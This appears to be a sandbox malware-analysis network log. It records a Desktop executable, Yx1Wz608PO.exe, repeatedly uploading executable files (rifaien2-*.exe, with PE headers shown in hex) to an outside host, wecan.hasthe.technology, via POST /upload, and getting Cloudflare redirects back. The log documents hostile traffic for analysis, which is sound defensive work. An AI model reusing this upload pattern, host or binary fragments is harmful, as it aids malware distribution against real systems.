Oct 10, 2024 21:02:08.827133894 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:08 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:08 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5KVpp1epgr%2BjTFrwCacVQ3xNVl8rZST0VGxQooe5a9dP1D%2FU9oA1qkn5KG4QaYugwNPacVKTBkRN0%2BKFEcGzFuD09hW8YvZ82gfohlnm%2BEf25HliNBFDJfrJY1Kmurqco5VL92U2LRyT1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dced0ad88c51-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 10, 2024 21:02:08.827361107 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:08 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:08 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5KVpp1epgr%2BjTFrwCacVQ3xNVl8rZST0VGxQooe5a9dP1D%2FU9oA1qkn5KG4QaYugwNPacVKTBkRN0%2BKFEcGzFuD09hW8YvZ82gfohlnm%2BEf25HliNBFDJfrJY1Kmurqco5VL92U2LRyT1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dced0ad88c51-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50348	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:09.006408930 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------c102964ba24d28f9
Oct 10, 2024 21:02:09.481990099 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:09.483010054 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 31 30 32 39 36 34 62 61 32 34 64 32 38 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------c102964ba24d28f9Content-Disposition: form-data; name="file[]"; filename="rifaien2-Yf4NmWwsZ4N1yY95.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:09.483460903 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:09.488538980 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:09.488727093 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:09.488763094 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:09.488787889 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:09.488820076 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:09.488845110 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:09.488874912 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:09.488903999 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:09.840133905 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:09 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:09 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dAPMfKg2QRs2qlzDTeZ0T2mtqSZ%2B%2Bf4RqfTXxDPRvBWem0A7iQStHIOq%2Bw05C9kaic5rtVOh%2BiQtEAlvZTUdExXe5XGQMVsjvWwHIVJekhnA9%2F3CqhnqtnAQiGhQITaIqtcdusMWnUvgdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcf50f665e65-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50349	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:10.169235945 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------7450b24dfa13dc9b
Oct 10, 2024 21:02:10.633408070 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:10.634546995 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 34 35 30 62 32 34 64 66 61 31 33 64 63 39 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------7450b24dfa13dc9bContent-Disposition: form-data; name="file[]"; filename="rifaien2-AJCcQtfVrsedwKsZ.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:10.635010004 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:10.640115976 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:10.640153885 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:10.640202045 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:10.640398979 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:10.640430927 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:10.640459061 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:10.640487909 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:10.645093918 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:10.953773022 CEST	809	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:10 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:10 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Emvxgl4CwuVudNS9vSdnae3TI5CaDxi10L0WZirPshWMVpz20HMDd7tB8RCH3obUwlv5NfjUboXEIChqCXSihDr2AMBOawq17iBGRRhuJFfJdwL1o3ZOB8iWscA1mnYg1kg2nWCDB%2F3tFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcfc4a0d17a1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50351	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:11.219469070 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------eb4ec8381649ca4b
Oct 10, 2024 21:02:11.682281017 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:11.683248043 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 62 34 65 63 38 33 38 31 36 34 39 63 61 34 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------eb4ec8381649ca4bContent-Disposition: form-data; name="file[]"; filename="rifaien2-lb1B7z5W8Hr4HXyC.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:11.683564901 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:11.690387011 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:11.690418959 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:11.690448046 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:11.690471888 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:11.690501928 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:11.690529108 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:11.690556049 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:11.690577030 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:12.014817953 CEST	825	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:11 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:11 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HDy7ZBCpM7wSikDL%2BHdZqWyDW6uCwwVGmL422baxb5zEHjw6wFUcc0sfbwLfLr%2BWfQq%2FSQ9xkZrxRD1svg7UsKgQMyGNbvWaU8piUNfLAv%2FNNsmfpzfwVgYuUY%2FkqzUP9%2FJit%2F%2Bvr0%2BePQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd02de1442c6-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50357	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe
